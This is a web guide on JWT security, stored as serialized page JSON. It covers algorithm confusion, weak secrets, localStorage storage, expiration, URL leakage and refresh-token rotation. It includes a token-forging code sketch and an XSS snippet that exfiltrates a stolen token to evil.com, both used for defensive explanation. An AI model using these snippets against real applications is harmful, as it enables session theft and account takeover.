[{"data":1,"prerenderedAt":1138},["ShallowReactive",2],{"guide-jwt-security-best-practices":3},{"id":4,"title":5,"body":6,"date":1130,"description":1131,"extension":1132,"meta":1133,"navigation":267,"path":1134,"readingTime":167,"seo":1135,"stem":1136,"__hash__":1137},"guides\u002Fguides\u002Fjwt-security-best-practices.md","JWT Security Best Practices: Common Vulnerabilities",{"type":7,"value":8,"toc":1098},"minimark",[9,14,18,21,25,28,33,69,204,208,242,289,293,296,300,303,354,365,368,380,411,419,423,426,430,457,467,513,517,524,579,587,591,594,608,612,616,627,668,672,675,679,705,750,754,757,763,768,782,785,800,849,853,857,860,912,916,923,929,932,936,939,959,963,1057,1061,1082,1086,1094],[10,11,13],"h2",{"id":12},"why-jwt-security-matters","Why JWT Security Matters",[15,16,17],"p",{},"JSON Web Tokens are widely used for authentication — and widely misused. A compromised JWT can grant an attacker full access to user accounts, API endpoints, and sensitive data. Unlike session-based auth, a JWT is self-contained: once issued, it remains valid until it expires, unless you actively revoke it.",[15,19,20],{},"This makes securing JWTs fundamentally different from securing sessions. A stolen session ID becomes useless the moment the server destroys the session. A stolen JWT remains valid for its entire lifetime.",[10,22,24],{"id":23},"vulnerability-1-algorithm-confusion-attack","Vulnerability 1: Algorithm Confusion Attack",[15,26,27],{},"This is the most dangerous JWT vulnerability — and the easiest to exploit.",[29,30,32],"h3",{"id":31},"how-it-works","How It Works",[34,35,36,40,52,60,66],"ol",{},[37,38,39],"li",{},"A server issues JWTs signed with RS256 (asymmetric — private key signs, public key verifies)",[37,41,42,43,47,48,51],{},"An attacker changes the header ",[44,45,46],"code",{},"alg"," to ",[44,49,50],{},"HS256"," (symmetric — same secret signs and verifies)",[37,53,54,55,59],{},"The attacker signs the token using the ",[56,57,58],"strong",{},"public key"," as the HMAC secret",[37,61,62,63,65],{},"The server, trusting the ",[44,64,46],{}," header, switches to HMAC verification and uses the public key as the secret",[37,67,68],{},"The signature matches — the attacker's forged token is accepted",[70,71,76],"pre",{"className":72,"code":73,"language":74,"meta":75,"style":75},"language-javascript shiki shiki-themes github-light github-dark","\u002F\u002F Attacker crafts a malicious token\nconst forgedHeader = { alg: \"HS256\", typ: \"JWT\" };\nconst forgedPayload = { sub: \"admin\", role: \"superuser\" };\n\u002F\u002F Signs with the publicly available RSA public key as HMAC secret\nconst signature = HMACSHA256(\n  base64UrlEncode(forgedHeader) + \".\" + base64UrlEncode(forgedPayload),\n  publicKey  \u002F\u002F Public key is... public\n);\n","javascript","",[44,77,78,87,118,142,148,165,189,198],{"__ignoreMap":75},[79,80,83],"span",{"class":81,"line":82},"line",1,[79,84,86],{"class":85},"sJ8bj","\u002F\u002F Attacker crafts a malicious token\n",[79,88,90,94,98,101,105,109,112,115],{"class":81,"line":89},2,[79,91,93],{"class":92},"szBVR","const",[79,95,97],{"class":96},"sj4cs"," forgedHeader",[79,99,100],{"class":92}," =",[79,102,104],{"class":103},"sVt8B"," { alg: ",[79,106,108],{"class":107},"sZZnC","\"HS256\"",[79,110,111],{"class":103},", typ: ",[79,113,114],{"class":107},"\"JWT\"",[79,116,117],{"class":103}," };\n",[79,119,121,123,126,128,131,134,137,140],{"class":81,"line":120},3,[79,122,93],{"class":92},[79,124,125],{"class":96}," forgedPayload",[79,127,100],{"class":92},[79,129,130],{"class":103}," { sub: ",[79,132,133],{"class":107},"\"admin\"",[79,135,136],{"class":103},", role: ",[79,138,139],{"class":107},"\"superuser\"",[79,141,117],{"class":103},[79,143,145],{"class":81,"line":144},4,[79,146,147],{"class":85},"\u002F\u002F Signs with the publicly available RSA public key as HMAC secret\n",[79,149,151,153,156,158,162],{"class":81,"line":150},5,[79,152,93],{"class":92},[79,154,155],{"class":96}," signature",[79,157,100],{"class":92},[79,159,161],{"class":160},"sScJk"," HMACSHA256",[79,163,164],{"class":103},"(\n",[79,166,168,171,174,177,180,183,186],{"class":81,"line":167},6,[79,169,170],{"class":160},"  base64UrlEncode",[79,172,173],{"class":103},"(forgedHeader) ",[79,175,176],{"class":92},"+",[79,178,179],{"class":107}," \".\"",[79,181,182],{"class":92}," +",[79,184,185],{"class":160}," base64UrlEncode",[79,187,188],{"class":103},"(forgedPayload),\n",[79,190,192,195],{"class":81,"line":191},7,[79,193,194],{"class":103},"  publicKey  ",[79,196,197],{"class":85},"\u002F\u002F Public key is... public\n",[79,199,201],{"class":81,"line":200},8,[79,202,203],{"class":103},");\n",[29,205,207],{"id":206},"prevention","Prevention",[209,210,211,220,227],"ul",{},[37,212,213,216,217,219],{},[56,214,215],{},"Always enforce the expected algorithm server-side."," Never trust the ",[44,218,46],{}," claim from the token.",[37,221,222,223,226],{},"If you use RS256, explicitly verify that ",[44,224,225],{},"alg === \"RS256\""," before processing.",[37,228,229,230,233,234,237,238,241],{},"Libraries like ",[44,231,232],{},"python-jose",", ",[44,235,236],{},"jjwt",", and ",[44,239,240],{},"node-jose"," provide options to restrict allowed algorithms.",[70,243,245],{"className":72,"code":244,"language":74,"meta":75,"style":75},"\u002F\u002F Bad: trusts the alg from the token\njwt.verify(token, publicKey);\n\n\u002F\u002F Good: enforces the expected algorithm\njwt.verify(token, publicKey, { algorithms: [\"RS256\"] });\n",[44,246,247,252,263,269,274],{"__ignoreMap":75},[79,248,249],{"class":81,"line":82},[79,250,251],{"class":85},"\u002F\u002F Bad: trusts the alg from the token\n",[79,253,254,257,260],{"class":81,"line":89},[79,255,256],{"class":103},"jwt.",[79,258,259],{"class":160},"verify",[79,261,262],{"class":103},"(token, publicKey);\n",[79,264,265],{"class":81,"line":120},[79,266,268],{"emptyLinePlaceholder":267},true,"\n",[79,270,271],{"class":81,"line":144},[79,272,273],{"class":85},"\u002F\u002F Good: enforces the expected algorithm\n",[79,275,276,278,280,283,286],{"class":81,"line":150},[79,277,256],{"class":103},[79,279,259],{"class":160},[79,281,282],{"class":103},"(token, publicKey, { algorithms: [",[79,284,285],{"class":107},"\"RS256\"",[79,287,288],{"class":103},"] });\n",[10,290,292],{"id":291},"vulnerability-2-weak-secret-keys","Vulnerability 2: Weak Secret Keys",[15,294,295],{},"HMAC-based JWTs (HS256, HS384, HS512) are only as strong as the secret used to sign them.",[29,297,299],{"id":298},"the-problem","The Problem",[15,301,302],{},"Many developers use short, guessable secrets:",[70,304,306],{"className":72,"code":305,"language":74,"meta":75,"style":75},"\u002F\u002F Dangerously weak secrets\nconst secret = \"secret\";\nconst secret = \"my-app-key\";\nconst secret = \"password123\";\n",[44,307,308,313,328,341],{"__ignoreMap":75},[79,309,310],{"class":81,"line":82},[79,311,312],{"class":85},"\u002F\u002F Dangerously weak secrets\n",[79,314,315,317,320,322,325],{"class":81,"line":89},[79,316,93],{"class":92},[79,318,319],{"class":96}," secret",[79,321,100],{"class":92},[79,323,324],{"class":107}," \"secret\"",[79,326,327],{"class":103},";\n",[79,329,330,332,334,336,339],{"class":81,"line":120},[79,331,93],{"class":92},[79,333,319],{"class":96},[79,335,100],{"class":92},[79,337,338],{"class":107}," \"my-app-key\"",[79,340,327],{"class":103},[79,342,343,345,347,349,352],{"class":81,"line":144},[79,344,93],{"class":92},[79,346,319],{"class":96},[79,348,100],{"class":92},[79,350,351],{"class":107}," \"password123\"",[79,353,327],{"class":103},[15,355,356,357,360,361,364],{},"Attackers can crack these with brute-force or dictionary attacks in seconds using tools like ",[44,358,359],{},"jwt-cracker"," or ",[44,362,363],{},"hashcat",".",[29,366,207],{"id":367},"prevention-1",[209,369,370,377],{},[37,371,372,373,376],{},"Use ",[56,374,375],{},"at least 256 bits (32 bytes)"," of cryptographically random data for HS256",[37,378,379],{},"Generate secrets with a secure random generator — never use human-readable strings",[70,381,385],{"className":382,"code":383,"language":384,"meta":75,"style":75},"language-bash shiki shiki-themes github-light github-dark","# Generate a strong secret with OpenSSL\nopenssl rand -base64 32\n# Output: xJ3k9$mN2pQ7vR1wY5tA8bC4dF6gH0iL\n","bash",[44,386,387,392,406],{"__ignoreMap":75},[79,388,389],{"class":81,"line":82},[79,390,391],{"class":85},"# Generate a strong secret with OpenSSL\n",[79,393,394,397,400,403],{"class":81,"line":89},[79,395,396],{"class":160},"openssl",[79,398,399],{"class":107}," rand",[79,401,402],{"class":96}," -base64",[79,404,405],{"class":96}," 32\n",[79,407,408],{"class":81,"line":120},[79,409,410],{"class":85},"# Output: xJ3k9$mN2pQ7vR1wY5tA8bC4dF6gH0iL\n",[209,412,413,416],{},[37,414,415],{},"Rotate secrets periodically — if a secret leaks, every token signed with it is compromised",[37,417,418],{},"Consider RS256 or ES256 instead of HS256 for production systems",[10,420,422],{"id":421},"vulnerability-3-insecure-token-storage","Vulnerability 3: Insecure Token Storage",[15,424,425],{},"Where you store JWTs on the client determines how easily an attacker can steal them.",[29,427,429],{"id":428},"localstorage-a-common-and-dangerous-choice","localStorage: A Common and Dangerous Choice",[70,431,433],{"className":72,"code":432,"language":74,"meta":75,"style":75},"\u002F\u002F NEVER do this in production\nlocalStorage.setItem('token', jwt);\n",[44,434,435,440],{"__ignoreMap":75},[79,436,437],{"class":81,"line":82},[79,438,439],{"class":85},"\u002F\u002F NEVER do this in production\n",[79,441,442,445,448,451,454],{"class":81,"line":89},[79,443,444],{"class":103},"localStorage.",[79,446,447],{"class":160},"setItem",[79,449,450],{"class":103},"(",[79,452,453],{"class":107},"'token'",[79,455,456],{"class":103},", jwt);\n",[15,458,459,462,463,466],{},[56,460,461],{},"Why it's dangerous",": Any XSS vulnerability — in your code or a third-party script — can read ",[44,464,465],{},"localStorage"," and exfiltrate the token.",[70,468,470],{"className":72,"code":469,"language":74,"meta":75,"style":75},"\u002F\u002F An attacker injects this via XSS\nconst stolen = localStorage.getItem('token');\nfetch('https:\u002F\u002Fevil.com\u002Fsteal?token=' + stolen);\n",[44,471,472,477,498],{"__ignoreMap":75},[79,473,474],{"class":81,"line":82},[79,475,476],{"class":85},"\u002F\u002F An attacker injects this via XSS\n",[79,478,479,481,484,486,489,492,494,496],{"class":81,"line":89},[79,480,93],{"class":92},[79,482,483],{"class":96}," stolen",[79,485,100],{"class":92},[79,487,488],{"class":103}," localStorage.",[79,490,491],{"class":160},"getItem",[79,493,450],{"class":103},[79,495,453],{"class":107},[79,497,203],{"class":103},[79,499,500,503,505,508,510],{"class":81,"line":120},[79,501,502],{"class":160},"fetch",[79,504,450],{"class":103},[79,506,507],{"class":107},"'https:\u002F\u002Fevil.com\u002Fsteal?token='",[79,509,182],{"class":92},[79,511,512],{"class":103}," stolen);\n",[29,514,516],{"id":515},"the-recommended-approach-httponly-cookies","The Recommended Approach: HttpOnly Cookies",[15,518,519,520,523],{},"Store JWTs in ",[56,521,522],{},"HttpOnly, Secure, SameSite cookies",":",[525,526,527,540],"table",{},[528,529,530],"thead",{},[531,532,533,537],"tr",{},[534,535,536],"th",{},"Flag",[534,538,539],{},"What It Does",[541,542,543,554,564],"tbody",{},[531,544,545,551],{},[546,547,548],"td",{},[44,549,550],{},"HttpOnly",[546,552,553],{},"JavaScript cannot access the cookie — blocks XSS theft",[531,555,556,561],{},[546,557,558],{},[44,559,560],{},"Secure",[546,562,563],{},"Cookie only sent over HTTPS — blocks network interception",[531,565,566,576],{},[546,567,568,571,572,575],{},[44,569,570],{},"SameSite=Strict"," (or ",[44,573,574],{},"Lax",")",[546,577,578],{},"Cookie not sent on cross-origin requests — blocks CSRF",[70,580,585],{"className":581,"code":583,"language":584},[582],"language-text","Set-Cookie: token=eyJhbG...; HttpOnly; Secure; SameSite=Strict; Path=\u002F; Max-Age=3600\n","text",[44,586,583],{"__ignoreMap":75},[29,588,590],{"id":589},"csrf-protection-for-cookies","CSRF Protection for Cookies",[15,592,593],{},"Cookies are vulnerable to CSRF attacks. Pair them with a CSRF token:",[34,595,596,599,605],{},[37,597,598],{},"Server sends a CSRF token in the response body",[37,600,601,602,575],{},"Client includes the CSRF token in a custom header (e.g., ",[44,603,604],{},"X-CSRF-Token",[37,606,607],{},"Server verifies both the cookie JWT and the CSRF header",[10,609,611],{"id":610},"vulnerability-4-missing-or-excessive-token-expiration","Vulnerability 4: Missing or Excessive Token Expiration",[29,613,615],{"id":614},"no-expiration","No Expiration",[15,617,618,619,622,623,626],{},"A JWT without an ",[44,620,621],{},"exp"," claim ",[56,624,625],{},"never expires",". If it's stolen, the attacker has persistent access.",[70,628,632],{"className":629,"code":630,"language":631,"meta":75,"style":75},"language-json shiki shiki-themes github-light github-dark","{\n  \"sub\": \"user123\",\n  \"role\": \"admin\"\n}\n","json",[44,633,634,639,653,663],{"__ignoreMap":75},[79,635,636],{"class":81,"line":82},[79,637,638],{"class":103},"{\n",[79,640,641,644,647,650],{"class":81,"line":89},[79,642,643],{"class":96},"  \"sub\"",[79,645,646],{"class":103},": ",[79,648,649],{"class":107},"\"user123\"",[79,651,652],{"class":103},",\n",[79,654,655,658,660],{"class":81,"line":120},[79,656,657],{"class":96},"  \"role\"",[79,659,646],{"class":103},[79,661,662],{"class":107},"\"admin\"\n",[79,664,665],{"class":81,"line":144},[79,666,667],{"class":103},"}\n",[29,669,671],{"id":670},"expiration-too-long","Expiration Too Long",[15,673,674],{},"A 30-day token lifetime means a stolen token is valid for 30 days — far too long for sensitive applications.",[29,676,678],{"id":677},"best-practices","Best Practices",[209,680,681,687,693,699],{},[37,682,683,686],{},[56,684,685],{},"Access tokens",": 5–15 minutes",[37,688,689,692],{},[56,690,691],{},"Refresh tokens",": 7–30 days, stored securely and rotated",[37,694,695,696,698],{},"Always include the ",[44,697,621],{}," claim",[37,700,701,702,704],{},"Validate ",[44,703,621],{}," server-side — never rely on the client to check expiration",[70,706,708],{"className":629,"code":707,"language":631,"meta":75,"style":75},"{\n  \"sub\": \"user123\",\n  \"iat\": 1516239022,\n  \"exp\": 1516239322\n}\n",[44,709,710,714,724,736,746],{"__ignoreMap":75},[79,711,712],{"class":81,"line":82},[79,713,638],{"class":103},[79,715,716,718,720,722],{"class":81,"line":89},[79,717,643],{"class":96},[79,719,646],{"class":103},[79,721,649],{"class":107},[79,723,652],{"class":103},[79,725,726,729,731,734],{"class":81,"line":120},[79,727,728],{"class":96},"  \"iat\"",[79,730,646],{"class":103},[79,732,733],{"class":96},"1516239022",[79,735,652],{"class":103},[79,737,738,741,743],{"class":81,"line":144},[79,739,740],{"class":96},"  \"exp\"",[79,742,646],{"class":103},[79,744,745],{"class":96},"1516239322\n",[79,747,748],{"class":81,"line":150},[79,749,667],{"class":103},[10,751,753],{"id":752},"vulnerability-5-token-leakage-in-urls","Vulnerability 5: Token Leakage in URLs",[15,755,756],{},"JWTs sometimes travel in URL query parameters:",[70,758,761],{"className":759,"code":760,"language":584},[582],"https:\u002F\u002Fapi.example.com\u002Fdata?token=eyJhbG...\n",[44,762,760],{"__ignoreMap":75},[15,764,765,523],{},[56,766,767],{},"Problems",[209,769,770,773,776,779],{},[37,771,772],{},"Tokens appear in server access logs",[37,774,775],{},"Tokens appear in browser history",[37,777,778],{},"Tokens appear in Referer headers when navigating to external sites",[37,780,781],{},"Tokens can be copied and shared accidentally",[29,783,207],{"id":784},"prevention-2",[209,786,787,794,797],{},[37,788,789,790,793],{},"Send tokens in the ",[44,791,792],{},"Authorization"," header instead",[37,795,796],{},"Use cookies for browser-based applications",[37,798,799],{},"Never put JWTs in URLs",[70,801,803],{"className":72,"code":802,"language":74,"meta":75,"style":75},"\u002F\u002F Good: send via header\nfetch('\u002Fapi\u002Fdata', {\n  headers: { 'Authorization': `Bearer ${token}` }\n});\n",[44,804,805,810,822,844],{"__ignoreMap":75},[79,806,807],{"class":81,"line":82},[79,808,809],{"class":85},"\u002F\u002F Good: send via header\n",[79,811,812,814,816,819],{"class":81,"line":89},[79,813,502],{"class":160},[79,815,450],{"class":103},[79,817,818],{"class":107},"'\u002Fapi\u002Fdata'",[79,820,821],{"class":103},", {\n",[79,823,824,827,830,832,835,838,841],{"class":81,"line":120},[79,825,826],{"class":103},"  headers: { ",[79,828,829],{"class":107},"'Authorization'",[79,831,646],{"class":103},[79,833,834],{"class":107},"`Bearer ${",[79,836,837],{"class":103},"token",[79,839,840],{"class":107},"}`",[79,842,843],{"class":103}," }\n",[79,845,846],{"class":81,"line":144},[79,847,848],{"class":103},"});\n",[10,850,852],{"id":851},"token-refresh-and-rotation-strategies","Token Refresh and Rotation Strategies",[29,854,856],{"id":855},"access-refresh-token-pattern","Access + Refresh Token Pattern",[15,858,859],{},"Use two tokens with different lifetimes and purposes:",[525,861,862,878],{},[528,863,864],{},[531,865,866,869,872,875],{},[534,867,868],{},"Token",[534,870,871],{},"Lifetime",[534,873,874],{},"Purpose",[534,876,877],{},"Storage",[541,879,880,896],{},[531,881,882,887,890,893],{},[546,883,884],{},[56,885,886],{},"Access Token",[546,888,889],{},"5–15 min",[546,891,892],{},"Authorize API requests",[546,894,895],{},"Memory (or HttpOnly cookie)",[531,897,898,903,906,909],{},[546,899,900],{},[56,901,902],{},"Refresh Token",[546,904,905],{},"7–30 days",[546,907,908],{},"Obtain new access tokens",[546,910,911],{},"HttpOnly cookie only",[29,913,915],{"id":914},"refresh-token-rotation","Refresh Token Rotation",[15,917,918,919,922],{},"Every time a refresh token is used, issue a ",[56,920,921],{},"new"," refresh token and invalidate the old one:",[70,924,927],{"className":925,"code":926,"language":584},[582],"1. Client sends refresh token A\n2. Server validates A → issues access token + refresh token B\n3. Server invalidates A\n4. If token A is used again → possible theft detected → revoke all tokens for that user\n",[44,928,926],{"__ignoreMap":75},[15,930,931],{},"This limits the window of exploitation and provides theft detection.",[29,933,935],{"id":934},"token-revocation","Token Revocation",[15,937,938],{},"JWTs are stateless by design, which makes revocation hard. Practical solutions:",[209,940,941,947,953],{},[37,942,943,946],{},[56,944,945],{},"Short access token lifetimes",": The simplest approach — compromised tokens expire quickly",[37,948,949,952],{},[56,950,951],{},"Token blacklist",": Store revoked token IDs (jti) in a fast store like Redis",[37,954,955,958],{},[56,956,957],{},"User-level revocation",": Store a token version per user; increment it to revoke all existing tokens",[10,960,962],{"id":961},"security-checklist","Security Checklist",[525,964,965,975],{},[528,966,967],{},[531,968,969,972],{},[534,970,971],{},"Check",[534,973,974],{},"Status",[541,976,977,985,992,999,1008,1015,1022,1029,1043,1050],{},[531,978,979,982],{},[546,980,981],{},"Algorithm is enforced server-side, not read from the token",[546,983,984],{},"☐",[531,986,987,990],{},[546,988,989],{},"HMAC secrets are at least 256 bits and randomly generated",[546,991,984],{},[531,993,994,997],{},[546,995,996],{},"Tokens are stored in HttpOnly cookies, not localStorage",[546,998,984],{},[531,1000,1001,1006],{},[546,1002,1003,1005],{},[44,1004,621],{}," claim is set and validated server-side",[546,1007,984],{},[531,1009,1010,1013],{},[546,1011,1012],{},"Access tokens expire in 15 minutes or less",[546,1014,984],{},[531,1016,1017,1020],{},[546,1018,1019],{},"Refresh tokens are rotated on each use",[546,1021,984],{},[531,1023,1024,1027],{},[546,1025,1026],{},"Tokens are never placed in URLs",[546,1028,984],{},[531,1030,1031,1041],{},[546,1032,1033,1036,1037,1040],{},[44,1034,1035],{},"aud"," and ",[44,1038,1039],{},"iss"," claims are validated",[546,1042,984],{},[531,1044,1045,1048],{},[546,1046,1047],{},"CSRF protection is in place when using cookies",[546,1049,984],{},[531,1051,1052,1055],{},[546,1053,1054],{},"A revocation strategy exists for emergencies",[546,1056,984],{},[10,1058,1060],{"id":1059},"related-guides","Related Guides",[209,1062,1063,1070,1076],{},[37,1064,1065],{},[1066,1067,1069],"a",{"href":1068},"\u002Fguides\u002Fjwt-structure-explained","JWT Structure Explained",[37,1071,1072],{},[1066,1073,1075],{"href":1074},"\u002Fguides\u002Fjwt-vs-oauth-tokens","JWT vs OAuth Tokens",[37,1077,1078],{},[1066,1079,1081],{"href":1080},"\u002Fguides\u002Fstrong-password-guide","Strong Passwords Guide",[10,1083,1085],{"id":1084},"try-it-yourself","Try It Yourself",[15,1087,1088,1089,1093],{},"Inspect your JWTs for security issues using our free ",[1066,1090,1092],{"href":1091},"\u002Ftools\u002Fjwt-decoder","JWT Decoder",". Check the algorithm, claims, and expiration — all decoded locally in your browser with zero data sent to any server.",[1095,1096,1097],"style",{},"html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}",{"title":75,"searchDepth":89,"depth":89,"links":1099},[1100,1101,1105,1109,1114,1119,1122,1127,1128,1129],{"id":12,"depth":89,"text":13},{"id":23,"depth":89,"text":24,"children":1102},[1103,1104],{"id":31,"depth":120,"text":32},{"id":206,"depth":120,"text":207},{"id":291,"depth":89,"text":292,"children":1106},[1107,1108],{"id":298,"depth":120,"text":299},{"id":367,"depth":120,"text":207},{"id":421,"depth":89,"text":422,"children":1110},[1111,1112,1113],{"id":428,"depth":120,"text":429},{"id":515,"depth":120,"text":516},{"id":589,"depth":120,"text":590},{"id":610,"depth":89,"text":611,"children":1115},[1116,1117,1118],{"id":614,"depth":120,"text":615},{"id":670,"depth":120,"text":671},{"id":677,"depth":120,"text":678},{"id":752,"depth":89,"text":753,"children":1120},[1121],{"id":784,"depth":120,"text":207},{"id":851,"depth":89,"text":852,"children":1123},[1124,1125,1126],{"id":855,"depth":120,"text":856},{"id":914,"depth":120,"text":915},{"id":934,"depth":120,"text":935},{"id":961,"depth":89,"text":962},{"id":1059,"depth":89,"text":1060},{"id":1084,"depth":89,"text":1085},"2026-05-27","Learn JWT security best practices. Prevent common vulnerabilities like algorithm confusion, weak secrets, and token leakage.","md",{"immutable":267},"\u002Fguides\u002Fjwt-security-best-practices",{"title":5,"description":1131},"guides\u002Fjwt-security-best-practices","y7uzVbZfTvOo5mOyXFdo9kglkY85KWVmZ114KtingwE",1780401325021]